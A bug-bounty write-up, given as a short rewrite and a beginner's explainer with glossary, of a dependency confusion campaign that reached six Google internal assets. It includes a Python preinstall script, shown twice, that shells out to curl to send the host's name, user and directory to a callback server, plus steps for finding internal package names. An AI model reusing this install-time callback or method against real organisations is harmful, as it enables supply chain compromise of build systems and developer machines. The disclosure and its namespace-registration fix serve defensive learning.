Skip to content
RCE Write-up Intermediate

How I hacked into Google’s internal corporate assets

The author found that several organisations had internal package names that were not registered on public package registries, allowing an attacker to publish malicious packages with those names. When developers or CI/CD systems installed dependencies, the malicious package executed commands on the host, giving the attacker control over servers, containers, CI/CD systems and developer machines, including six of Google's internal corporate assets.

Michael Hyndman Follow

Published on observationsinsecurity.com

Every now and then, I take some time to work on bug bounty projects to explore threat vectors into real world targets like Google, Tesla and many others. Doing so helps me stay aware of the fast-changing technical landscape, which is crucial for my role as a technology CISO.

Michael Hyndman, on observationsinsecurity.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 7 min read.

Context

This is an account of a week of bug bounty work focused on open-source and supply chain attacks, specifically dependency confusion. The targets were in-scope assets across several bug bounty programmes, including Google. The researcher reports gaining command injection, as root or admin, on over a thousand assets: servers, containers, CI/CD systems and developer machines. Six of those were Google's internal corporate assets, and many more belonged to a self-driving car company's build CI/CD pipeline. Other affected organisations are not named. The findings were mostly critical with high impact.

For Google the outcome was an honourable mention and no bounty, because the most critical asset compromised was a developer's machine. Another company paid a bounty for the same kind of result.

From the original on observationsinsecurity.com

The feature at the centre of it is ordinary dependency resolution. Applications depend on open-source libraries, called dependencies, and languages such as Python and Node.js fetch them during a build. Developers run commands like:

  • npm install <packagename>
  • pip install <packagename>

Dependencies can come from an organisation's internal artifact registry or from a public register. The problem arises when an attacker registers a public package under a name an organisation uses only internally. Node.js and Python are built to fetch the public version automatically when no local version is available, or when the public version number is higher. If that public version is malicious, the consequences land on the targeted software, the sensitive data associated with it and the customers who use it. The researcher notes that these attacks are hard to detect when they happen.

From the original on observationsinsecurity.com

Setup

The work was done over a period of a week. No specific accounts, roles or product versions are described. The tooling was:

  • Confused, used to check whether a dependency exists in a public register.
  • Custom tools written by the researcher, with GenerativeAI used to speed up script writing. The researcher says the generated code allowed a substantial amount of research at a far greater pace than would otherwise have been possible.

The researcher cites Alex Birsan's earlier dependency confusion work, which had already covered Apple, Microsoft, Yelp and many other companies. The premise for continuing was that many large organisations remain vulnerable, and that the usual fixes are perceived as costly or slow, which deters engineering teams from acting.

Finding it

The reasoning behind the search is worth setting out, because it shapes the discovery method. Internal dependencies are typically named after an internal service or function consumed by several services or applications, for example something like companyname-regex. Those names can coincide with names that already appear in publicly accessible code, in externally reachable APIs or services, or with names tied to core products and features. That makes a degree of discovery in public JavaScript, and some brute forcing, possible.

The researcher points to Checkmarx research that identified actors, unconfirmed as malicious or not, who scaled up attacks by creating hundreds of these dependencies against specific companies, apparently through similar brute-force guessing of internal service and utility names.

Discovery used several methods:

  1. Scanning hundreds of public GitHub repositories to identify dependencies that looked internal.
  2. Spidering and scanning JavaScript on websites.
  3. Scanning public web server directories to reveal endpoints like /package.json.
  4. Downloading old or archived website JavaScript and scanning it for references to old dependencies and old JavaScript functions that have since been removed, in the last five years, but could still be used elsewhere.

Scanning techniques included:

  • Searching for dependency files in places like GitHub, for example package.json and dependencies.txt.

  • Searching public code on websites for functions that refer to possible dependency names, including:

    • import('dependency_path')
    • require('dependency_path')
    • define('module')
    • "exports=JSON.parse"
    • References to 'node_module' where dependency files are usually saved
  • Using regex to search through JavaScript for potential dependency names, for example:

Bash
grep -Por '".*":"\^[0-9]+\.[0-9]+\.[0-9]+"' |  tr ',' '\n'  | awk '/".*":"\^[0-9]+\.[0-9]+\.[0-9]+"/ {print}' | sort -u

That pipeline pulls out quoted name and caret-version pairs, splits them onto separate lines, filters to the same pattern and de-duplicates the result, which gives a list of candidate dependency names and version ranges to check against public registers.

Exploitation

Once a set of externally accessible dependency names had been identified, either potential or confirmed, the route to command injection was conceptually straightforward but practically difficult. The researcher does not detail the publishing process here, pointing to other resources instead.

Step 1: publish a package with an install-time script

The essence is a curl command inside a dependency install script. Once the package is installed on a target host, the script collects basic information about the host and sends it to a server controlled by the researcher. The example given is a PIP dependency preinstall script:

Python
import subprocess

def pre_install():

    curl_command = 'curl -X -H "Hostname: $(hostname)" -H "Username: $(whoami)" -H "Directory name: $(pwd)" [https://my-call-back-server](https://my-call-back-server)

    subprocess.run(curl_command, shell=True)

if __name__ == "__main__":

    pre_install()

The script runs a shell command through subprocess.run with shell=True. The command substitution in the headers, $(hostname), $(whoami) and $(pwd), is evaluated on the target before the request leaves the host, so the callback server receives the hostname, the user the install ran as and the working directory. That is enough to prove code execution and to characterise the host.

Step 2: wait for resolution

When the target's build or a developer's machine resolves the dependency, the public package is fetched and the install script runs. The researcher reports this happening on servers, containers, CI/CD systems and developer machines, with execution as root or admin in their case.

Before doing any of this, check the programme scope. The researcher notes that for some programmes, Yelp is given as an example, this activity is out of scope, while the vast majority of programmes expect some form of command injection as proof, in the researcher's words "or it never happened".

Root cause

The mistake is in dependency resolution and namespace ownership, not in application code. Package managers prefer a public package when no local version is available or when the public version number is higher, so an internal-only name that nobody has claimed in the public register can be taken by anyone. The organisation then installs attacker-controlled code through its normal build process.

Existing defences did not stop it. The researcher argues that security attestations such as SOC2 and ISO27001 do not cover this area, even though it is a critical risk for software development. The perceived fixes are seen as imposing cost on developer time or the security budget, which deters engineering teams from making quick remedial change. The researcher also notes a security vendor selling a tool for exactly this problem, and argues no tool is needed: registering legitimate public packages under the same names, containing no code, secures the namespace so nobody else can take it.

Impact

The researcher reports command execution on over a thousand assets, as root or admin, including servers, containers, CI/CD systems and developer machines. Six were Google internal corporate assets; many more were a self-driving car company's build CI/CD pipeline.

Organisations affected most were those running continuous delivery and deployment. Software with a slower development cycle was not impacted, because with continuous delivery artifacts are called regularly and automatically, so the chance of compromise within a given timeframe is much higher. Affected organisations are typically medium to larger software companies with larger scalable architectures such as Kubernetes. Developers were also hit, installing the packages on local development machines through a general lack of awareness or vigilance around open-source risks.

The researcher frames the wider risk in economic terms: these packages are the hidden bedrock of the digital economy, underpinning commerce and critical services such as healthcare. A financially motivated criminal or an espionage actor only needs to drop one well targeted package into a public register to gain control of any number of servers across any number of larger organisations. The researcher would like to see public registers work more closely with the bug bounty community to test evasion and detection techniques for malicious packages.

Fix

The report does not describe a fix applied by any of the targeted organisations. The remedy it argues for is to register legitimate public packages under the same names as internal dependencies, containing no code, so the namespace cannot be taken by someone else. The researcher stresses that this is simple and does not require buying a tool.

Variants to test

  1. Scan public GitHub repositories for dependency files such as package.json and dependencies.txt and look for names that appear internal. A positive result is an internal-looking name that is absent from the public register.
  2. Spider website JavaScript and search for import('dependency_path'), require('dependency_path'), define('module'), "exports=JSON.parse" and references to node_module.
  3. Request common paths such as /package.json on public web servers.
  4. Download archived JavaScript from the last five years and scan it for removed functions and old dependency references.
  5. Run the regex pipeline above over collected JavaScript to extract name and caret-version pairs, then check each name with Confused.
  6. Publish a package under a candidate name with an install-time script that calls back with $(hostname), $(whoami) and $(pwd), within programme scope.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 15 min read.

What happened, in plain words

A security researcher spent a week looking for a specific kind of weakness in the way software is built. The weakness is called dependency confusion, and it lets someone who does not work at a company get their own code running on that company's computers. The researcher found it in several bug bounty programmes, which are schemes where companies invite outsiders to test their systems and pay for real problems found. Google was one of the targets.

By the end of the week the researcher could run operating system commands, as root or admin, on more than a thousand machines. Those machines included servers, containers, CI/CD systems and developer machines. Six of them were Google's internal corporate assets. Many more belonged to a self-driving car company's build CI/CD pipeline. Other affected organisations are not named. Most of the findings were critical, with high impact.

For Google the result was an honourable mention and no money, because the most serious machine compromised was a developer's machine. Another company paid a bounty for the same kind of result.

From the original on observationsinsecurity.com

The feature at the centre of it

Almost every modern application is built from pieces written by other people. These pieces are called open-source libraries, or dependencies. A team writing a program does not write its own code for everything; it pulls in ready-made packages that handle common jobs. The programming languages Python and Node.js fetch these packages during a build, which is the process that turns source code into something that can run.

Developers type commands like these to fetch a package:

  • npm install <packagename>
  • pip install <packagename>

npm is the package manager for Node.js and pip is the package manager for Python. A package manager is a program that downloads and installs other programs for you, a bit like an app store on a phone. The <packagename> part is a placeholder for the name of the package you want.

A package can come from two places. One is an organisation's internal artifact registry, a private store of packages that only that organisation uses. The other is a public register, a store open to anyone on the internet, where anyone can publish a package under any name that is still free.

The problem starts when an attacker registers a public package under a name that an organisation uses only internally. Node.js and Python are built to fetch the public version automatically when no local version is available, or when the public version number is higher than the internal one. If that public version contains malicious code, the damage lands on the targeted software, on the sensitive data connected to it and on the customers who use it. The researcher notes that these attacks are hard to detect while they happen.

From the original on observationsinsecurity.com

Setup

The work took place over a period of a week. No specific accounts, roles or product versions are described. Two things were used:

  • Confused, a tool that checks whether a dependency exists in a public register. In other words, it tells you whether a name is already taken publicly or still free for anyone to claim.
  • Custom tools written by the researcher, with GenerativeAI used to speed up script writing. The researcher says the generated code allowed a substantial amount of research at a far greater pace than would otherwise have been possible.

The researcher cites Alex Birsan's earlier dependency confusion work, which had already covered Apple, Microsoft, Yelp and many other companies. The reason for continuing anyway was a belief that many large organisations remain vulnerable, and that the usual fixes are seen as costly or slow, which puts engineering teams off doing them.

Finding it

The reasoning behind the search matters, because it shapes how the discovery was done. Internal dependencies are usually named after an internal service or function that several services or applications use. A company might, for example, have an internal dependency called something like companyname-regex. Those names can match names that already appear in publicly accessible code, in externally reachable APIs or services, or names tied to core products and features. That makes it possible to find some of them by reading public JavaScript, and to guess others by brute forcing, which means trying many candidate names until one fits.

The researcher points to Checkmarx research that identified actors, unconfirmed as malicious or not, who scaled up attacks by creating hundreds of these dependencies against specific companies, apparently by guessing internal service and utility names in a similar way.

Discovery used several methods:

  1. Scanning hundreds of public GitHub repositories to identify dependencies that looked internal. GitHub is a website where developers store and share code, and much of it is public.
  2. Spidering and scanning JavaScript on websites. Spidering means following links automatically to collect pages, the way a search engine does.
  3. Scanning public web server directories to reveal endpoints like /package.json. An endpoint is a specific address on a server that returns something when you ask for it.
  4. Downloading old or archived website JavaScript and scanning it for references to old dependencies and old JavaScript functions that have since been removed, in the last five years, but could still be used elsewhere.

Scanning techniques included:

  • Searching for dependency files in places like GitHub, for example package.json and dependencies.txt. A package.json file is a plain list, in a text format called JSON, of the packages a JavaScript project needs.

  • Searching public code on websites for functions that refer to possible dependency names, including:

    • import('dependency_path')
    • require('dependency_path')
    • define('module')
    • "exports=JSON.parse"
    • References to 'node_module' where dependency files are usually saved
  • Using regex to search through JavaScript for potential dependency names, for example:

Bash
grep -Por '".*":"\^[0-9]+\.[0-9]+\.[0-9]+"' |  tr ',' '\n'  | awk '/".*":"\^[0-9]+\.[0-9]+\.[0-9]+"/ {print}' | sort -u

This is a pipeline, a chain of small commands where the output of one becomes the input of the next. Line by line:

  • grep -Por '".*":"\^[0-9]+\.[0-9]+\.[0-9]+"' searches its input for lines matching a pattern. grep is a standard search tool. -P turns on a richer pattern language called regex, short for regular expression, which lets you describe a shape of text rather than an exact string. -o prints only the matching part, not the whole line. -r would normally mean search folders recursively. The pattern looks for a quoted name, a colon, then a quoted version starting with a caret and three numbers separated by dots, such as "mypackage":"^1.2.3". The caret is a version range meaning "this version or any later compatible one".
  • tr ',' '\n' replaces every comma with a newline, so several name and version pairs that sat on one line end up on separate lines. tr stands for translate.
  • awk '/".*":"\^[0-9]+\.[0-9]+\.[0-9]+"/ {print}' keeps only the lines that still match the same name and version shape and prints them. awk is a tool for picking out and reshaping text.
  • sort -u sorts the lines and removes duplicates, so each name appears once.

The result is a clean list of candidate dependency names and version ranges to check against public registers.

Exploitation

Once a set of externally accessible dependency names had been identified, either potential or confirmed, the route to command injection was conceptually straightforward but practically difficult. Command injection means getting a computer to run commands of your choosing. The researcher does not detail the publishing process here, pointing to other resources instead.

Step 1: publish a package with an install-time script

The essence is a curl command inside a dependency install script. curl is a command-line tool for sending a request to a web address. An install script is code that a package runs automatically when it is installed, which is what makes this work: nobody has to click anything. Once the package is installed on a target host, the script collects basic information about the host and sends it to a server controlled by the researcher. The example given is a PIP dependency preinstall script:

Python
import subprocess

def pre_install():

    curl_command = 'curl -X -H "Hostname: $(hostname)" -H "Username: $(whoami)" -H "Directory name: $(pwd)" [https://my-call-back-server](https://my-call-back-server)

    subprocess.run(curl_command, shell=True)

if __name__ == "__main__":

    pre_install()

Line by line:

  • import subprocess loads a Python module that lets the program start other programs, including shell commands. A module is a bundle of ready-made code.
  • def pre_install(): defines a function, a named block of code that runs when called. The name suggests it is meant to run before installation.
  • curl_command = 'curl -X -H "Hostname: $(hostname)" ...' builds the text of a shell command and stores it in a variable. -X is a curl option for the request method. -H adds a header, which is a labelled piece of extra information sent with a web request. Here three headers carry the hostname, the username and the working directory.
  • $(hostname), $(whoami) and $(pwd) are command substitutions. The shell replaces each one with the output of the command inside before the request is sent: the machine's name, the user the install is running as, and the current folder. pwd means print working directory.
  • subprocess.run(curl_command, shell=True) runs that text as a shell command. shell=True means it is handed to the shell, which is what makes the $(...) substitutions happen.
  • if __name__ == "__main__": checks whether the file is being run directly rather than imported by another file.
  • pre_install() calls the function, so the request goes out.

Because the substitutions are evaluated on the target before the request leaves the host, the callback server receives the hostname, the user the install ran as and the working directory. That is enough to prove code execution and to describe the host.

Step 2: wait for resolution

When the target's build, or a developer's machine, resolves the dependency, the public package is fetched and the install script runs. Resolution is the step where the package manager decides which version of which package to fetch. The researcher reports this happening on servers, containers, CI/CD systems and developer machines, with execution as root or admin in their case. Root or admin is the highest level of permission on a machine, able to do anything.

Before doing any of this, check the programme scope. Scope is the list of systems a bug bounty programme allows you to test. The researcher notes that for some programmes, Yelp is given as an example, this activity is out of scope, while the vast majority of programmes expect some form of command injection as proof, in the researcher's words "or it never happened".

Root cause

The mistake is in dependency resolution and namespace ownership, not in application code. A namespace here is the pool of names a package can have; owning a name means nobody else can publish under it. Package managers prefer a public package when no local version is available or when the public version number is higher, so an internal-only name that nobody has claimed in the public register can be taken by anyone. The organisation then installs attacker-controlled code through its normal build process, without anyone doing anything unusual.

Existing defences did not stop it. The researcher argues that security attestations such as SOC2 and ISO27001 do not cover this area, even though it is a critical risk for software development. An attestation is a formal certificate that a company meets certain standards. The perceived fixes are seen as imposing cost on developer time or the security budget, which puts engineering teams off making quick remedial change. The researcher also notes a security vendor selling a tool for exactly this problem, and argues no tool is needed: registering legitimate public packages under the same names, containing no code, secures the namespace so nobody else can take it. Think of it as putting your name on a free parking space before someone else parks there.

Impact

The researcher reports command execution on over a thousand assets, as root or admin, including servers, containers, CI/CD systems and developer machines. Six were Google internal corporate assets; many more were a self-driving car company's build CI/CD pipeline. The findings were mostly critical with high impact.

Organisations affected most were those running continuous delivery and deployment. That is a way of working where every change is built and shipped automatically and often. Software with a slower development cycle was not impacted, because with continuous delivery artifacts are called regularly and automatically, so the chance of compromise within a given timeframe is much higher. Affected organisations are typically medium to larger software companies with larger scalable architectures such as Kubernetes. Kubernetes is a system for running many containers across many machines; a container is a packaged, isolated running program.

Developers were also hit, installing the packages on local development machines through a general lack of awareness or vigilance around open-source risks.

The researcher frames the wider risk in economic terms: these packages are the hidden bedrock of the digital economy, underpinning commerce and critical services such as healthcare. A financially motivated criminal or an espionage actor only needs to drop one well targeted package into a public register to gain control of any number of servers across any number of larger organisations. The researcher would like to see public registers work more closely with the bug bounty community to test evasion and detection techniques for malicious packages. Evasion means getting past defences; detection means noticing an attack.

Fix

The report does not describe a fix applied by any of the targeted organisations. The remedy it argues for is to register legitimate public packages under the same names as internal dependencies, containing no code, so the namespace cannot be taken by someone else. The researcher stresses that this is simple and does not require buying a tool.

Variants to test

  1. Scan public GitHub repositories for dependency files such as package.json and dependencies.txt and look for names that appear internal. A positive result is an internal-looking name that is absent from the public register.
  2. Spider website JavaScript and search for import('dependency_path'), require('dependency_path'), define('module'), "exports=JSON.parse" and references to node_module.
  3. Request common paths such as /package.json on public web servers.
  4. Download archived JavaScript from the last five years and scan it for removed functions and old dependency references.
  5. Run the regex pipeline above over collected JavaScript to extract name and caret-version pairs, then check each name with Confused.
  6. Publish a package under a candidate name with an install-time script that calls back with $(hostname), $(whoami) and $(pwd), within programme scope.

Glossary

  • API: a defined way for one program to ask another for data or actions, like a service counter with set requests.
  • Artifact registry: a private store of software packages that an organisation builds and uses internally.
  • Attestation: a formal certificate that a company meets a set of standards, such as SOC2 or ISO27001.
  • Brute forcing: trying many candidate names or values until one works.
  • Bug bounty programme: a scheme where a company invites outsiders to test its systems and pays for real problems found.
  • Build: the process that turns source code into something that can run.
  • Callback server: a server controlled by the researcher that receives requests sent from a target, proving the target ran the code.
  • CI/CD: continuous integration and continuous delivery, the automated process that builds, tests and ships software.
  • Command injection: getting a computer to run commands of an attacker's choosing.
  • Command substitution: shell syntax such as $(hostname) that is replaced by the output of a command before the rest of the command runs.
  • Container: a packaged, isolated running program that shares a machine with others.
  • Continuous delivery and deployment: a way of working where every change is built and shipped automatically and often.
  • curl: a command-line tool for sending requests to a web address.
  • Dependency: an open-source package that a project relies on instead of writing that code itself.
  • Dependency confusion: an attack where someone publishes a public package under a name an organisation uses only internally, so the package manager fetches the attacker's version.
  • Endpoint: a specific address on a server that returns something when asked.
  • Evasion: getting past defences without being stopped.
  • Function: a named block of code that runs when called.
  • GenerativeAI: AI that produces text or code on request.
  • GitHub: a website where developers store and share code, much of it public.
  • grep: a standard command-line search tool.
  • Header: a labelled piece of extra information sent with a web request or response.
  • Honourable mention: recognition from a bug bounty programme without a cash award.
  • Install script: code inside a package that runs automatically when the package is installed.
  • Internal corporate asset: a machine or system owned by a company and not meant for outsiders.
  • JavaScript: the programming language that runs in web browsers and is also used on servers.
  • JSON: a plain-text format for structured data, such as lists of names and values.
  • Kubernetes: a system for running many containers across many machines.
  • Manifest: a file listing what a project needs, such as package.json.
  • Module: a bundle of ready-made code that a program can load.
  • Namespace: the pool of names a package can have; owning a name means nobody else can publish under it.
  • Node.js: a runtime that runs JavaScript outside the browser, with its own package manager, npm.
  • npm: the package manager for Node.js.
  • Open-source library: software whose code is public and free to use, support and maintain.
  • Package manager: a program that downloads and installs other programs for you, like an app store.
  • pip: the package manager for Python.
  • Pipeline: a chain of commands where the output of one becomes the input of the next.
  • Preinstall script: an install script that runs before the package is fully installed.
  • Public register: a store of packages open to anyone on the internet, where anyone can publish under a free name.
  • Python: a popular programming language, with its own package manager, pip.
  • Regex (regular expression): a way to describe a shape of text so a tool can find matches.
  • Resolution: the step where a package manager decides which version of which package to fetch.
  • Root or admin: the highest level of permission on a machine, able to do anything.
  • Scope: the list of systems a bug bounty programme allows you to test.
  • Shell: the program that reads and runs typed commands.
  • SOC2 / ISO27001: formal security standards a company can be certified against.
  • Spidering: following links automatically to collect pages, the way a search engine does.
  • Supply chain attack: an attack that goes after the parts and processes a company relies on, rather than the company directly.
  • Variable: a named place in a program that holds a value.
  • Version range: a rule such as ^1.2.3 meaning this version or any later compatible one.

More from Google

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.